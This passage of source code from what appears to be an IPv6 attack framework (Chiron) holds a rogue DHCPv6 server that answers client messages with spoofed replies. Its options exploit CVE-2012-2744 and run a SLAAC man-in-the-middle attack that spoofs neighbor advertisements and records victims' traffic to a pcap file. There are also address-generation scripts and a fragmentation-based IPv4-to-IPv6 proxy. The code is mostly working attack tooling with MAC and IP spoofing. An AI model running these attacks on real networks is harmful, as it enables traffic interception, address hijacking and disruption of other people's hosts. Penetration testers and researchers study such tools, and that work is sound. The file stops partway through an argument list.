self.DNS_Servers=DNS_Servers 75 | self.list_of_unfragmented_ext_headers=list_of_unfragmented_ext_headers 76 | self.list_of_fragmented_ext_headers=list_of_fragmented_ext_headers 77 | self.size_of_extheaders=size_of_extheaders 78 | self.number_of_fragments=number_of_fragments 79 | self.list_of_next_headers=list_of_next_headers 80 | self.list_of_offsets=list_of_offsets 81 | self.list_of_fragment_lengths=list_of_fragment_lengths 82 | self.list_of_fragment_m_bits=list_of_fragment_m_bits 83 | self.prefix=prefix 84 | self.hoplimit=hoplimit 85 | self.lEu=lEu 86 | self.first_next_header_value=first_next_header_value 87 | self.fragmentable_extension_headers=fragmentable_extension_headers 88 | self.size_of_fragmentable_extension_headers=size_of_fragmentable_extension_headers 89 | self.s=s 90 | def run(self): 91 | print "Start sniffing and handling" 92 | scapy.sendrecv.sniff(filter=self.filter, iface=self.interface, prn=self.dhcpv6_attack, store=0) 93 | def dhcpv6_attack(self,packets): 94 | if packets.haslayer(scapy.layers.inet.UDP): 95 | macdst=packets.src 96 | layer3_header = packets.getlayer(scapy.layers.inet6.IPv6) 97 | ipv6dst = layer3_header.src 98 | layer4_header = packets.getlayer(scapy.layers.inet.UDP) 99 | unfragmentable_part,size_of_unfragmentable_part=create_extension_headers_chain.create_unfragmentable_part(self.source_ip,ipv6dst,self.hoplimit,self.lEu,self.size_of_extheaders,0) 100 | if (layer4_header.sport==546 and layer4_header.dport==547): 101 | if layer4_header.haslayer(scapy.layers.dhcp6.DHCP6_Solicit): 102 | attacks.DHCPv6_Solicit=layer4_header.getlayer(scapy.layers.dhcp6.DHCP6_Solicit) 103 | Trid = attacks.DHCPv6_Solicit.trid 104 | print "DHCPv6 Solicit packet received with Transaction ID", Trid, "from",macdst 105 | IaId = 11111111#CHECK IT 106 | if layer4_header.haslayer(scapy.layers.dhcp6.DHCP6OptClientId): 107 | ClientID=layer4_header.getlayer(scapy.layers.dhcp6.DHCP6OptClientId) 108 | ClientID_len = ClientID.optlen 109 | ClientID_duid = ClientID.duid 110 | if layer4_header.haslayer(scapy.layers.dhcp6.DHCP6OptIA_NA): 111 | iana=layer4_header.getlayer(scapy.layers.dhcp6.DHCP6OptIA_NA) 112 | IaId = iana.iaid 113 | attacks.DHCPv6_Response(self.mac_source, self.source_ip, macdst, ipv6dst, Trid, ClientID_len, ClientID_duid, IaId, "Advertise", self.assigned_IPv6_addresses_cache, self.interface,self.dhcpv6_preference, self.prefered_lft,self.valid_lft,self.DNS_Domain_name,self.DNS_Servers, self.list_of_unfragmented_ext_headers,self.list_of_fragmented_ext_headers,self.size_of_extheaders, self.number_of_fragments,self.list_of_next_headers,self.list_of_offsets,self.list_of_fragment_lengths,self.list_of_fragment_m_bits,self.prefix,unfragmentable_part,size_of_unfragmentable_part,self.first_next_header_value,self.fragmentable_extension_headers,self.size_of_fragmentable_extension_headers,self.s) 114 | elif layer4_header.haslayer(scapy.layers.dhcp6.DHCP6_Request): 115 | attacks.DHCPv6_Request=layer4_header.getlayer(scapy.layers.dhcp6.DHCP6_Request) 116 | Trid =attacks. DHCPv6_Request.trid 117 | print "DHCPv6 Request packet received with Transaction ID", Trid, "from",macdst 118 | if layer4_header.haslayer(scapy.layers.dhcp6.DHCP6OptClientId): 119 | ClientID=layer4_header.getlayer(scapy.layers.dhcp6.DHCP6OptClientId) 120 | ClientID_len = ClientID.optlen 121 | ClientID_duid = ClientID.duid 122 | if layer4_header.haslayer(scapy.layers.dhcp6.DHCP6OptIA_NA): 123 | iana=layer4_header.getlayer(scapy.layers.dhcp6.DHCP6OptIA_NA) 124 | IaId = iana.iaid 125 | attacks.DHCPv6_Response(self.mac_source, self.source_ip,macdst, ipv6dst, Trid, ClientID_len, ClientID_duid, IaId, "Reply", self.assigned_IPv6_addresses_cache, self.interface,self.dhcpv6_preference, self.prefered_lft,self.valid_lft,self.DNS_Domain_name,self.DNS_Servers, self.list_of_unfragmented_ext_headers,self.list_of_fragmented_ext_headers,self.size_of_extheaders, self.number_of_fragments,self.list_of_next_headers,self.list_of_offsets,self.list_of_fragment_lengths,self.list_of_fragment_m_bits,self.prefix,unfragmentable_part,size_of_unfragmentable_part,self.first_next_header_value,self.fragmentable_extension_headers,self.size_of_fragmentable_extension_headers) 126 | elif layer4_header.haslayer(scapy.layers.dhcp6.DHCP6_Renew): 127 | attacks.DHCPv6_Renew=layer4_header.getlayer(scapy.layers.dhcp6.DHCP6_Renew) 128 | Trid = attacks.DHCPv6_Renew.trid 129 | print "DHCPv6 Renew packet received with Transaction ID", Trid, "from",macdst 130 | if layer4_header.haslayer(scapy.layers.dhcp6.DHCP6OptClientId): 131 | ClientID=layer4_header.getlayer(scapy.layers.dhcp6.DHCP6OptClientId) 132 | ClientID_len = ClientID.optlen 133 | ClientID_duid = ClientID.duid 134 | if layer4_header.haslayer(scapy.layers.dhcp6.DHCP6OptIA_NA): 135 | iana=layer4_header.getlayer(scapy.layers.dhcp6.DHCP6OptIA_NA) 136 | IaId = iana.iaid 137 | attacks.DHCPv6_Response(self.mac_source, self.source_ip,macdst, ipv6dst, Trid, ClientID_len, ClientID_duid, IaId, "Reply", self.assigned_IPv6_addresses_cache, self.interface,self.dhcpv6_preference, self.prefered_lft,self.valid_lft,self.DNS_Domain_name,self.DNS_Servers, self.list_of_unfragmented_ext_headers,self.list_of_fragmented_ext_headers,self.size_of_extheaders, self.number_of_fragments,self.list_of_next_headers,self.list_of_offsets,self.list_of_fragment_lengths,self.list_of_fragment_m_bits,self.prefix,unfragmentable_part,size_of_unfragmentable_part,self.first_next_header_value,self.fragmentable_extension_headers,self.size_of_fragmentable_extension_headers) 138 | elif layer4_header.haslayer(scapy.layers.dhcp6.DHCP6_Confirm): 139 | attacks.DHCPv6_Confirm=layer4_header.getlayer(scapy.layers.dhcp6.DHCP6_Confirm) 140 | Trid = attacks.DHCPv6_Confirm.trid 141 | print "DHCPv6 Confirm packet received with Transaction ID", Trid, "from",macdst 142 | if layer4_header.haslayer(scapy.layers.dhcp6.DHCP6OptClientId): 143 | ClientID=layer4_header.getlayer(scapy.layers.dhcp6.DHCP6OptClientId) 144 | ClientID_len = ClientID.optlen 145 | ClientID_duid = ClientID.duid 146 | if layer4_header.haslayer(scapy.layers.dhcp6.DHCP6OptIA_NA): 147 | iana=layer4_header.getlayer(scapy.layers.dhcp6.DHCP6OptIA_NA) 148 | IaId = iana.iaid 149 | attacks.DHCPv6_Response(self.mac_source, self.source_ip,macdst, ipv6dst, Trid, ClientID_len, ClientID_duid, IaId, "Reply", self.assigned_IPv6_addresses_cache, self.interface,self.dhcpv6_preference, self.prefered_lft,self.valid_lft,self.DNS_Domain_name,self.DNS_Servers, self.list_of_unfragmented_ext_headers,self.list_of_fragmented_ext_headers,self.size_of_extheaders, self.number_of_fragments,self.list_of_next_headers,self.list_of_offsets,self.list_of_fragment_lengths,self.list_of_fragment_m_bits,self.prefix,unfragmentable_part,size_of_unfragmentable_part,self.first_next_header_value,self.fragmentable_extension_headers,self.size_of_fragmentable_extension_headers) 150 | elif layer4_header.haslayer(scapy.layers.dhcp6.DHCP6_Rebind): 151 | attacks.DHCPv6_Rebind=layer4_header.getlayer(scapy.layers.dhcp6.DHCP6_Rebind) 152 | Trid = attacks.DHCPv6_Rebind.trid 153 | print "DHCPv6 Rebind packet received with Transaction ID", Trid, "from",macdst 154 | if layer4_header.haslayer(scapy.layers.dhcp6.DHCP6OptClientId): 155 | ClientID=layer4_header.getlayer(scapy.layers.dhcp6.DHCP6OptClientId) 156 | ClientID_len = ClientID.optlen 157 | ClientID_duid = ClientID.duid 158 | if layer4_header.haslayer(scapy.layers.dhcp6.DHCP6OptIA_NA): 159 | iana=layer4_header.getlayer(scapy.layers.dhcp6.DHCP6OptIA_NA) 160 | IaId = iana.iaid 161 | attacks.DHCPv6_Response(self.mac_source, self.source_ip,macdst, ipv6dst, Trid, ClientID_len, ClientID_duid, IaId, "Reply", self.assigned_IPv6_addresses_cache, self.interface,self.dhcpv6_preference, self.prefered_lft,self.valid_lft,self.DNS_Domain_name,self.DNS_Servers, self.list_of_unfragmented_ext_headers,self.list_of_fragmented_ext_headers,self.size_of_extheaders, self.number_of_fragments,self.list_of_next_headers,self.list_of_offsets,self.list_of_fragment_lengths,self.list_of_fragment_m_bits,self.prefix,unfragmentable_part,size_of_unfragmentable_part,self.first_next_header_value,self.fragmentable_extension_headers,self.size_of_fragmentable_extension_headers) 162 | 163 | def main(): 164 | #LET'S PARSE THE ARGUMENTS FIRST 165 | parser = argparse.ArgumentParser(version='0.8',description='An IPv6 neighbor discovery packet tool with enhanced capabilities and flexibility.') 166 | parser.add_argument('interface', action="store", help="the network interface to use.") 167 | parser.add_argument('-gw','--gateway', action="store", dest="gateway", help="a gateway to use (only if required).") 168 | parser.add_argument('-s', '--source', action="store", dest="source", default=False, help="the IPv6 address of the sender (if you want to spoof it).") 169 | parser.add_argument('-d', '--destination', action="store", dest="destination", help="the IPv6 address(es) of the target(s) - comma separated.") 170 | parser.add_argument('-rs', '--random-source', action="store_true", dest="random_source", default=False, help="randomise the IPv6 address of the sender (if you want to spoof it randomly).") 171 | parser.add_argument('-m', '--mac', action="store", dest="mac_source", default=False, help="the mac address of the sender (if you want to spoof it).") 172 | parser.add_argument('-tm', '--target_mac', action="store", dest="target_mac", default=False, help="the mac address of the target (if you want to define it to avoid Neighbor Solicitation).") 173 | parser.add_argument('-rm', '--random-mac', action="store_true", dest="random_mac", default=False, help="randomise the MAC address of the sender (if you want to spoof it randomly).") 174 | parser.add_argument('-pr', '--prefix', action="store", dest="prefix", default="fe80::", help="the IPv6 network prefix to use. Example: fe80:224:54ff:feba::") 175 | parser.add_argument('-lfE','--list_fragmented_Extension_Headers', action="store", dest="lEf", default=False, help="Define an arbitrary list of Extension Headers which will be included in the fragmentable part") 176 | parser.add_argument('-luE','--list_unfragmented_Extension_Headers', action="store", dest="lEu", default=False, help="Define an arbitrary list of Extension Headers which will be included in the unfragmentable part") 177 | parser.add_argument('-hoplimit','--Hop_Limit', action="store", dest="hoplimit", default=False, help="The Hop Limit value of the IPv6 Header. Default: 255 (for MLD, default=1).") 178 | parser.add_argument('-nf','--no_of_fragments', action="store", dest="number_of_fragments", default=0, help="the number of fragments to send") 179 | parser.add_argument('-lnh','--list_of_next_headers', action="store", dest="list_of_next_headers", default=False, help="the list of next headers to be used in the Fragment Headers, comma_separated") 180 | parser.add_argument('-lo','--list_of_offsets', action="store", dest="list_of_offsets", default=False, help="the list of offsets to be used in the Fragment Headers when fragmentation takes place, comma_separated (optional)") 181 | parser.add_argument('-ll','--list_of_fragment_lengths', action="store", dest="list_of_fragment_lengths", default=False, help="the list of fragment lengths to be used in the Fragment Headers when fragmentation takes place, comma_separated (optional)") 182 | parser.add_argument('-lm','--list_of_fragment_m_bits', action="store", dest="list_of_fragment_m_bits", default=False, help="the list of fragment M (More Fragments to Follow) bits to be used in the Fragment Headers when fragmentation takes place, comma_separated (optional)") 183 | parser.add_argument('-seh','--size_of_extension_header', action="store", dest="size_of_extheaders", default=1, help="the size of the additional Extension Header (in octets of bytes)") 184 | parser.add_argument('-l4','--layer4', action="store", dest="layer4", default="icmpv6", help="the layer4 protocol") 185 | parser.add_argument('-l4_data','--layer4_payload', action="store", dest="l4_data", default="", help="the payload of layer4") 186 | parser.add_argument('-dhcpv6_server','--dhcpv6-server', action="store_true", dest="dhcpv6_server", default=False, help="DHCPv6 service operation") 187 | parser.add_argument('-dhcpv6_preference','--dhcpv6_preference', action="store", dest="dhcpv6_preference", default=255, help="Preference of the DHCPv6 Server") 188 | parser.add_argument('-dhcpv6_prefered_lft','--dhcpv6_prefered_lft', action="store", dest="dhcpv6_prefered_lft", default=375, help="Prefered lifetime of the DHCPv6 Server") 189 | parser.add_argument('-dhcpv6_valid_lft','--dhcpv6_valid_lft', action="store", dest="dhcpv6_valid_lft", default=600, help="Valid lifetime of the DHCPv6 Server") 190 | parser.add_argument('-dhcpv6_DNS_Domain_name','--dhcpv6_DNS_Domain_name', action="store", dest="dhcpv6_DNS_Domain_name", default="mylab.example", help="DNS Domain name of the DHCPv6 Server") 191 | parser.add_argument('-dhcpv6_DNS_Server','--dhcpv6_DNS_Server', action="store", dest="dhcpv6_DNS_Server", default="2001:db8:1:1::1000", help="DNS Server provided by the DHCPv6 Server") 192 | parser.add_argument('-CVE_2012_2744','--CVE_2012_2744', action="store_true", dest="CVE_2012_2744", default=False, help="CVE 2012-2744 Exploitation") 193 | parser.add_argument('-mitm','--slaac_mitm', action="store_true", dest="mitm", default=False, help="Man in the Middle Attack Using SLAAC Attack") 194 | parser.add_argument('-mitm_pcap','--mitim_pcap_file', action="store", dest="mitm_pcap", default="/tmp/mitm.pcap", help="pcap file where the traffic captured using the MITM attack will be stored.") 195 | 196 | #print "Usage: program.py " 197 | values = parser.parse_args() 198 | 199 | ###LETS TO SOME CHECKS FIRST TO SEE IF WE CAN WORK### 200 | if os.geteuid() != 0: 201 | print "You must be root to run this script." 202 | exit(1) 203 | if (not values.dhcpv6_server and not values.CVE_2012_2744 and not values.mitm): 204 | print "Please tell me what you want me to do" 205 | exit(0) 206 | #scapy.config.conf.verb=0 207 | scapy.layers.inet6.conf.verb=0 208 | 209 | myinterface=values.interface 210 | 211 | #GET YOUR SOURCE IPV6 AND MAC ADDRESS 212 | mac_source=definitions.define_source_mac_address(values.mac_source,values.random_mac) 213 | source_ip,mac_source= definitions.define_source_ipv6_address(values.source,mac_source,values.interface,values.random_source,values.prefix) 214 | print "Source MAC address", mac_source, "Source IPv6 Address",source_ip 215 | 216 | if values.dhcpv6_server: 217 | #check if fragmentation parameters are OK 218 | list_of_fragment_lengths,list_of_offsets,list_of_fragment_m_bits,list_of_next_headers=checkings.check_fragmentation_parameters(values.list_of_fragment_lengths,values.list_of_offsets,values.list_of_fragment_m_bits,values.list_of_next_headers,values.number_of_fragments) 219 | list_of_unfragmented_ext_headers=[] 220 | list_of_fragmented_ext_headers=[] 221 | if values.lEu: 222 | list_of_unfrag_ext_headers=create_extension_headers_chain.make_list_of_ext_headers(values.lEu) 223 | list_of_unfragmented_ext_headers=create_extension_headers_chain.identify_parameters(list_of_unfrag_ext_headers) 224 | if values.lEf: 225 | list_of_frag_ext_headers=create_extension_headers_chain.make_list_of_ext_headers(values.lEf) 226 | list_of_fragmented_ext_headers=create_extension_headers_chain.identify_parameters(list_of_frag_ext_headers) 227 | fragmentable_extension_headers,size_of_fragmentable_extension_headers,first_next_header_value=create_extension_headers_chain.create_fragmentable_part(values.lEf,int(values.size_of_extheaders),0) 228 | 229 | print "Starting sniffing..." 230 | myfilter = "ip6" 231 | print "Sniffer filter is",myfilter 232 | s = scapy.config.conf.L2socket(iface=myinterface) # Open Socket Once 233 | dhcpv6attack=DHCPv6Attack(myfilter,values.interface,mac_source, source_ip, values.dhcpv6_preference,values.dhcpv6_prefered_lft,values.dhcpv6_valid_lft,values.dhcpv6_DNS_Domain_name,values.dhcpv6_DNS_Server,list_of_unfragmented_ext_headers,list_of_fragmented_ext_headers,values.size_of_extheaders,values.number_of_fragments,list_of_next_headers,list_of_offsets,list_of_fragment_lengths,list_of_fragment_m_bits,values.prefix,int(values.hoplimit),values.lEu,first_next_header_value,fragmentable_extension_headers,size_of_fragmentable_extension_headers,s) 234 | dhcpv6attack.run() 235 | #sniff(filter=myfilter, iface=values.interface, prn=handler, store=0) 236 | elif values.CVE_2012_2744: 237 | if not values.destination: 238 | print "You must define your target (destination)" 239 | exit(0) 240 | else: 241 | addr6 = ipaddr.IPAddress(values.destination) 242 | myaddr=addr6.exploded 243 | if myaddr[0:2]=="ff": 244 | if int(myaddr[2]) >= 0 and int(myaddr[2]) < 8: 245 | ether_dst="33:33:"+myaddr[30:32]+":"+myaddr[32:37]+":"+myaddr[37:39] 246 | elif values.gateway: 247 | ether_dst=auxiliary_functions.find_single_mac(source_ip, values.gateway, values.interface) 248 | else: 249 | if values.target_mac: 250 | ether_dst=values.target_mac 251 | else: 252 | ether_dst=auxiliary_functions.find_single_mac(source_ip, myaddr, values.interface) 253 | if not ether_dst: 254 | print "Destination was not found. Please consider defining a gateway, if needed." 255 | 256 | print "Destination MAC address", ether_dst, "Destination IPv6 Address",values.destination 257 | attacks.CVE_2012_2744(values.interface,mac_source,source_ip,values.destination,ether_dst) 258 | elif values.mitm: 259 | file_to_write = values.mitm_pcap 260 | ip_list = values.destination.split(",") 261 | victims=attacks.find_mac_using_spoofed_source(source_ip, ip_list, myinterface, mac_source) 262 | print "the victims are",victims 263 | q = multiprocessing.Queue() 264 | pr = multiprocessing.Process(target=SpoofUnNA, args=(victims, myinterface, mac_source,)) 265 | pr.daemon = True 266 | pr.start() 267 | # signal.signal(signal.SIGINT, signal_handler) 268 | myfilter="ip6" 269 | mitm=MitmAttack(myfilter, values.interface, source_ip, mac_source, victims, file_to_write) 270 | mitm.run() 271 | 272 | if __name__ == '__main__': 273 | main() 274 | -------------------------------------------------------------------------------- /bin/chiron_combinations.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import itertools 3 | import sys 4 | import os 5 | 6 | 7 | #Observations of IPv6 Addresses 8 | #David Malone 9 | #Hamilton Institute, NUI Maynooth. 10 | 11 | def perm(n,seq,filename): 12 | f=open(filename,'w') 13 | for p in itertools.product(seq, repeat=n): 14 | hex_part="" 15 | for element in p: 16 | hex_part = hex_part + ":" +element 17 | f.write(hex_part+"\n") 18 | f.close() 19 | 20 | def read_ipv6_hex_addresses(filename): 21 | f = open(filename, 'r') 22 | ipv6addresses=[] 23 | for line in f.readlines(): 24 | ipv6address=line.strip('\r\n') 25 | ipv6addresses.append(ipv6address) 26 | f.close() 27 | return ipv6addresses 28 | 29 | def main(): 30 | if len(sys.argv)==3: 31 | filename1=sys.argv[1] 32 | filename2=sys.argv[2] 33 | if not os.path.isfile(filename1): 34 | print '[-] ' + filename1 + 'does not exist' 35 | exit(0) 36 | elif not os.access(filename1, os.R_OK): 37 | print '[-] ' + filename1 + 'access is denied' 38 | exit(0) 39 | else: 40 | perm(4,read_ipv6_hex_addresses(filename1), filename2) 41 | exit(0) 42 | else: 43 | print "Please provide the file name where with the IPv6 hex words are stored AND the filename where the results will be stored" 44 | 45 | if __name__ == '__main__': 46 | main() 47 | -------------------------------------------------------------------------------- /bin/chiron_prefixes.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import sys 3 | import os 4 | sys.path.append('../lib') 5 | import sniffer_process 6 | import scapy 7 | 8 | def main(): 9 | if len(sys.argv)==4: 10 | scapy.config.conf.verb=0 11 | scapy.layers.inet6.conf.verb=0 12 | j=sys.argv[1] 13 | prefix=sys.argv[2] 14 | filename=sys.argv[3] 15 | the_prefix=prefix+":*:*:*" 16 | f=open(filename,'w') 17 | for i in range(int(j)): 18 | x=scapy.layers.inet6.RandIP6(the_prefix)+"::" 19 | f.write(x+"\n") 20 | f.close() 21 | else: 22 | print "Please provide a) the number of prefixes you want to generate, b) the first two octects of the prefixes (e.g. 2001) and c) the filename where you want store the prefixes" 23 | 24 | if __name__ == '__main__': 25 | main() 26 | -------------------------------------------------------------------------------- /bin/chiron_proxy.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import argparse 3 | import Queue 4 | import multiprocessing 5 | import re 6 | import os #required for iptables 7 | import platform #required for os detection 8 | import subprocess 9 | import logging 10 | import random 11 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #supress Scapy warnings` 12 | import scapy 13 | import sys 14 | sys.path.append('../lib') 15 | import ipaddr 16 | import sniffer_process 17 | import definitions 18 | import auxiliary_functions 19 | import checkings 20 | import checkip 21 | import create_extension_headers_chain 22 | 23 | used_tcp_id=[] 24 | 25 | class PicklablePacket: 26 | """A container for scapy packets that can be pickled (in contrast 27 | to scapy packets themselves).""" 28 | def __init__(self, pkt): 29 | self.contents = str(pkt) 30 | self.time = pkt.time 31 | def __call__(self): 32 | """Get the original scapy packet.""" 33 | pkt = scapy.layers.l2.Ether(self.contents) 34 | pkt.time = self.time 35 | return pkt 36 | 37 | #REQUIRED When loopback interface is used. Check if we can get rid off it - Use a pseudo interface instead of loopback? 38 | '''def check_if_double_tcp_packet_in_ipv4_loopback(source_port,destination_port, seq, ack): 39 | if [source_port,destination_port,seq,ack] in used_tcp_id: 40 | used_tcp_id.remove([source_port,destination_port,seq,ack]) 41 | return False 42 | else: 43 | used_tcp_id.append([source_port,destination_port,seq,ack]) 44 | return True 45 | ''' 46 | #Sniff in IPv6 Interface, send to IPv4 47 | class IPv6_to_IPv4_Worker() : 48 | def __init__(self,ipv6filter,ipv4_receiver,ipv4_sender, interface): 49 | self.ipv6filter = ipv6filter 50 | self.interface = interface 51 | print "Start IPv6 Sniffing: ",self.ipv6filter 52 | self.ipv4_receiver = ipv4_receiver 53 | self.ipv4_sender = ipv4_sender 54 | print "IPv6 to IPv4 Worker started!" 55 | self.tipid=random.randrange(0,65535,1) 56 | scapy.sendrecv.sniff(iface=self.interface,filter=self.ipv6filter, prn=self.handler, store=0) 57 | def handler(self,pkt): 58 | if pkt.haslayer(scapy.layers.inet.TCP): 59 | del(pkt[scapy.layers.inet.TCP].chksum) 60 | mypayload = pkt[scapy.layers.inet.TCP] 61 | self.tipid=self.tipid+1 62 | pkt = scapy.layers.inet.IP(src=self.ipv4_receiver,dst=self.ipv4_sender,proto=6, flags=2, id=self.tipid)/mypayload 63 | #print "TCP IPv4 packet to send:", pkt.sprintf("%IP.src% %IP.dst% payload length=%IP.len% id=%IP.id% proto=%IP.proto% source port=%TCP.sport% destination port=%TCP.dport% flags=%TCP.flags% seq=%TCP.seq% ack=%TCP.ack%") 64 | elif pkt.haslayer(scapy.layers.inet.UDP): 65 | del(pkt[scapy.layers.inet.UDP].chksum) 66 | mypayload = pkt[scapy.layers.inet.UDP] 67 | self.tipid=self.tipid+1 68 | pkt = scapy.layers.inet.IP(src=self.ipv4_receiver,dst=self.ipv4_sender,proto=6, flags=2, id=self.tipid)/mypayload 69 | #print "UDP IPv4 packet to send:", pkt.sprintf("%IP.src% %IP.dst% payload length=%IP.len% id=%IP.id% proto=%IP.proto% source port=%UDP.sport% destination port=%UDP.dport%") 70 | try: 71 | scapy.sendrecv.send(pkt) 72 | except: 73 | print "Error at packet: ", pkt.summary() 74 | 75 | class IPv4Sniffer(): 76 | def __init__ (self,queue,myfilter,interface): 77 | self.queue=queue 78 | self.myfilter = myfilter 79 | self.interface = interface 80 | print "Start IPv4 Sniffing: ",self.myfilter 81 | scapy.sendrecv.sniff(iface=self.interface,filter=self.myfilter, prn=self.handler, store=0) 82 | def handler(self,pkt): 83 | packet=PicklablePacket(pkt) 84 | self.queue.put(packet) 85 | 86 | class IPv6Sender(): 87 | def __init__(self,values,queue,tid,mac_source,source_ip,dest,ether_dst,interface,list_of_fragment_lengths,list_of_offsets,list_of_fragment_m_bits,list_of_next_headers,fragmentable_extension_headers,size_of_fragmentable_extension_headers,first_next_header_value,unfragmentable_part,size_of_unfragmentable_part,number_of_fragments): 88 | self.values = values 89 | self.queue = queue 90 | self.mac_source=mac_source 91 | self.source_ip=source_ip 92 | self.dest=dest 93 | self.ether_dst=ether_dst 94 | self.interface=interface 95 | self.list_of_fragment_lengths=list_of_fragment_lengths 96 | self.list_of_offsets=list_of_offsets 97 | self.list_of_fragment_m_bits=list_of_fragment_m_bits 98 | self.list_of_next_headers=list_of_next_headers 99 | self.fragmentable_extension_headers=fragmentable_extension_headers 100 | self.size_of_fragmentable_extension_headers=size_of_fragmentable_extension_headers 101 | self.first_next_header_value=first_next_header_value 102 | self.unfragmentable_part=unfragmentable_part 103 | self.size_of_unfragmentable_part=size_of_unfragmentable_part 104 | self.number_of_fragments=number_of_fragments 105 | self.tid = tid 106 | self.s = scapy.config.conf.L2socket(iface=self.interface) # Open Socket Once 107 | print "Worker %d started!" %self.tid 108 | self.tipid=random.randrange(0,65535,1) 109 | while True : 110 | try : 111 | pkt = self.queue.get(timeout=0.1) #HOW DOES TIMEOUT AFFECT THE PERFORMANCE? 112 | #print pkt 113 | packet=PicklablePacket.__call__(pkt) 114 | #print packet.show() 115 | self.Sender(packet) 116 | #self.queue.task_done() 117 | except Queue.Empty : 118 | continue 119 | def Sender(self,packets): 120 | if packets.haslayer(scapy.layers.inet.TCP): 121 | #if not check_if_double_tcp_packet_in_ipv4_loopback(packets[scapy.layers.inet.TCP].sport, packets[scapy.layers.inet.TCP].dport, packets[scapy.layers.inet.TCP].seq, packets[scapy.layers.inet.TCP].ack): 122 | #print "TCP IPv4 packet received:", packets.sprintf("%IP.src% %IP.dst% payload length=%IP.len% id=%IP.id% proto=%IP.proto% source port=%TCP.sport% destination port=%TCP.dport% flags=%TCP.flags% seq=%TCP.seq% ack=%TCP.ack%") 123 | del(packets[scapy.layers.inet.TCP].chksum) 124 | mypayload = packets[scapy.layers.inet.TCP] 125 | if mypayload['TCP'].flags==2: 126 | if self.values.l4_data: 127 | mypayload=mypayload/self.values.l4_data 128 | try: 129 | packets_to_send=create_extension_headers_chain.create_datagram(self.mac_source,self.ether_dst,int(self.number_of_fragments),self.list_of_next_headers,self.list_of_offsets,self.list_of_fragment_lengths,self.list_of_fragment_m_bits,self.values.fragment_id,self.unfragmentable_part,self.size_of_unfragmentable_part,self.first_next_header_value,self.fragmentable_extension_headers,self.size_of_fragmentable_extension_headers,mypayload) 130 | create_extension_headers_chain.send_packets(self.s,packets_to_send,0,self.values.delay) 131 | #print "IPv6 packet sent with payload ", mypayload.summary() 132 | except: 133 | print "the following packet was not sent (too long?):", packets.summary() 134 | elif packets.haslayer(scapy.layers.inet.UDP): 135 | #print "UDP IPv4 packet received:", packets.sprintf("%IP.src% %IP.dst% payload length=%IP.len% id=%IP.id% proto=%IP.proto% source port=%UDP.sport% destination port=%UDP.dport%") 136 | del(packets[scapy.layers.inet.UDP].chksum) 137 | mypayload = packets[scapy.layers.inet.UDP] 138 | try: 139 | packets_to_send=create_extension_headers_chain.create_datagram(self.mac_source,self.ether_dst,int(self.number_of_fragments),self.list_of_next_headers,self.list_of_offsets,self.list_of_fragment_lengths,self.list_of_fragment_m_bits,self.values.fragment_id,self.unfragmentable_part,self.size_of_unfragmentable_part,self.first_next_header_value,self.fragmentable_extension_headers,self.size_of_fragmentable_extension_headers,mypayload) 140 | create_extension_headers_chain.send_packets(s,packets_to_send,0,self.values.delay) 141 | #print "IPv6 packet sent with payload ", mypayload.display() 142 | except: 143 | print "the following packet was not sent (too long?):", packets.display() 144 | 145 | def main(): 146 | #LET'S PARSE THE ARGUMENTS FIRST 147 | parser = argparse.ArgumentParser(version='0.9',description='An IPv6 tool.') 148 | parser.add_argument('ipv6interface', action="store", help="the IPv6 network interface to use.") 149 | parser.add_argument('ipv4interface', action="store", help="the IPv4 network interface to use.") 150 | parser.add_argument('ipv4_sender', action="store", help="the ipv4 address of the initial sender") 151 | parser.add_argument('ipv4_receiver', action="store", help="the ipv4 address where the proxy listens to") 152 | parser.add_argument('-l4_data','--layer4_payload', action="store", dest="l4_data", default="", help="the payload of layer4") 153 | parser.add_argument('-gw','--gateway', action="store", dest="gateway", help="a gateway to use (only if required).") 154 | parser.add_argument('-s', '--source', action="store", dest="source", default=False, help="the IPv6 address of the sender (if you want to spoof it).") 155 | parser.add_argument('-rs', '--random-source', action="store_true", dest="random_source", default=False, help="randomise the IPv6 address of the sender (if you want to spoof it randomly).") 156 | parser.add_argument('-m', '--mac', action="store", dest="mac_source", default=False, help="the mac address of the sender (if you want to spoof it).") 157 | parser.add_argument('-tm', '--target_mac', action="store", dest="target_mac", default=False, help="the mac address of the target (if you want to define it to avoid Neighbor Solicitation).") 158 | parser.add_argument('-rm', '--random-mac', action="store_true", dest="random_mac", default=False, help="randomise the MAC address of the sender (if you want to spoof it randomly).") 159 | parser.add_argument('-d', '--destination', action="store", dest="destination", help="the IPv6 address of the target. Just one target, not a list as in the other modules of the framework. ") 160 | parser.add_argument('-dns-server','--dns_server', action="store", dest="dns_server", default="2001:470:20::2", help="the DNS server to use to resolve the hostnames to IPv6 address") 161 | parser.add_argument('-lfE','--list_fragmented_Extension_Headers', action="store", dest="lEf", default=False, help="Define an arbitrary list of Extension Headers which will be included in the fragmentable part") 162 | parser.add_argument('-luE','--list_unfragmented_Extension_Headers', action="store", dest="lEu", default=False, help="Define an arbitrary list of Extension Headers which will be included in the unfragmentable part") 163 | parser.add_argument('-hoplimit','--Hop_Limit', action="store", dest="hoplimit", default=255, help="The Hop Limit value of the IPv6 Header. Default: 255.") 164 | 165 | parser.add_argument('-nf','--no_of_fragments', action="store", dest="number_of_fragments", default=0, help="the number of fragments to send") 166 | parser.add_argument('-lnh','--list_of_next_headers', action="store", dest="list_of_next_headers", default=False, help="the list of next headers to be used in the Fragment Headers, comma_separated") 167 | parser.add_argument('-lo','--list_of_offsets', action="store", dest="list_of_offsets", default=False, help="the list of offsets to be used in the Fragment Headers when fragmentation takes place, comma_separated (optional)") 168 | parser.add_argument('-ll','--list_of_fragment_lengths', action="store", dest="list_of_fragment_lengths", default=False, help="the list of fragment lengths to be used in the Fragment Headers when fragmentation takes place, comma_separated (optional)") 169 | parser.add_argument('-lm','--list_of_fragment_m_bits', action="store", dest="list_of_fragment_m_bits", default=False, help="the list of fragment M (More Fragments to Follow) bits to be used in the Fragment Headers when fragmentation takes place, comma_separated (optional)") 170 | parser.add_argument('-id','--fragment_id', action="store", dest="fragment_id", default=-1, help="Fragment Identification number to be used in Fragment Extension Headers durign fragmentation.") 171 | parser.add_argument('-delay','--sending_delay', action="store", dest="delay", default=0, help="sending delay between two consecutive fragments") 172 | parser.add_argument('-seh','--size_of_extension_header', action="store", dest="size_of_extheaders", default=1, help="the size of the additional Extension Header (in octets of bytes)") 173 | 